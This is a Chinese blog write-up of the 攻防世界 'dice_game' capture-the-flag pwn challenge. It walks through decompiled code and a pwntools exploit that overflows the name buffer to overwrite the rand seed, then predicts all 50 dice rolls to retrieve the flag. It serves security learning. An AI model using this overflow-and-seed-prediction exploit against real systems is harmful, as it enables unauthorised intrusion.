

攻防世界 Pwn dice_game

原创

==Microsoft== 于 2021-12-18 16:00:32 发布 25 收藏

分类专栏: [Pwn](#) 文章标签: [pwn](#)

本文为博主原创文章, 用来记录学习过程, 欢迎交流学习。

本文链接: <https://blog.csdn.net/MrTreebook/article/details/122013175>

版权



[Pwn 专栏收录该内容](#)

47 篇文章 0 订阅

订阅专栏

攻防世界 Pwn dice_game

- 1.题目下载地址
- 2.checksec
- 3.IDA分析
- 4.exp

1.题目下载地址

点击下载

2.checksec

```
Lwj@ubuntu:~/Desktop/dice_game$ checksec dice_game
[*] '/home/lwj/Desktop/dice_game/dice_game'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
Lwj@ubuntu:~/Desktop/dice_game$
```

没有canary, 可能是简单的栈溢出

3.IDA分析

```
int64 sub_A20()
{
    int64 result; // rax
    __int16 v1; // [rsp+Ch] [rbp-4h] BYREF
    __int16 v2; // [rsp+Eh] [rbp-2h]

    printf("Give me the point(1~6): ");
    fflush(stdout);
    __isoc99_scanf("%hd", &v1);
    if ( v1 > 0 && v1 <= 6 )
    {
        v2 = rand() % 6 + 1;
        if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )
            assert fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice game.c", 0x18u, "dice game");
    }
}
```

```

if ( v1 == v2 )
{
    puts("You win.");
    result = 1LL;
}
else
{
    puts("You lost.");
    result = 0LL;
}
}
else
{
    puts("Invalid value!");
    result = 0LL;
}
return result;
}

```

CSDN @==Microsoft==

在sub_A20()中可以看出v2是一个通过种子生成的 1~6 的随机数
之前有做过类似的题，只要控制种子即可预测随机数

```

printf("Welcome, let me know your name: ");
fflush(stdout);
v6 = read(0, buf, 0x50uLL);
if ( v6 <= 49 )
    buf[v6 - 1] = 0;
printf("Hi, %s. Let's play a game.\n", buf);
fflush(stdout);
srand(seed[0]);
v8 = 1;
v5 = 0;
while ( 1 )
{
    printf("Game %d/50\n", v8);
    v5 = sub_A20();
    fflush(stdout);
    if ( v5 != 1 )
        break;
    if ( v5 )
    {
        if ( v8 == 50 )
        {
            sub_B28(buf);
            break;
        }
        ++v8;
    }
}
puts("Bye bye!");
return 0LL;

```

CSDN @==Microsoft==

在read函数处有栈溢出的漏洞

```

1 int __fastcall sub_B28(const char *a1)
2 {
3     char s[104]; // [rsp+10h] [rbp-70h] BYREF
4     FILE *stream; // [rsp+78h] [rbp-8h]
5
6     printf("Congrats %s\n", a1);
7     stream = fopen("flag", "r");
8     fgets(s, 100, stream);
9     puts(s);
0     return fflush(stdout);
1 }

```

CSDN @==Microsoft==

在下面看到需要连续答对50次才可以获取flag
那么我们构造的思路就是利用这个溢出点覆盖seed从而预测随机数

4.exp

```

from pwn import *
from ctypes import *
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)
sh=process('./a')
# sh=remote('124.126.19.106','30741')
payload='a'*0x40+p64(1)
sh.recvuntil('Welcome, let me know your name: ')
sh.sendline(payload)
for i in range(50):
    sh.recvuntil('Give me the point(1~6): ')
    sh.sendline(str(libc.rand()%6+1))

sh.recv()

```

```

lwj@ubuntu: ~/Desktop/dice_game
File Edit View Search Terminal Help
Game 43/50
Give me the point(1~6):
Game 44/50
Give me the point(1~6):
Rhythmbox
Give me the point(1~6):
Game 46/50
Give me the point(1~6):
Game 47/50
Give me the point(1~6):
Game 48/50
Give me the point(1~6):
Game 49/50
Give me the point(1~6):
Game 50/50
Give me the point(1~6):
[*] Switching to interactive mode
You win.
Congrats aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
cyberpeace{0b3199b14d32bd023cbd4e8bcedc6ac7}

Bye bye!
[*] Got EOF while reading in interactive
$ S

```

CSDN @==Microsoft==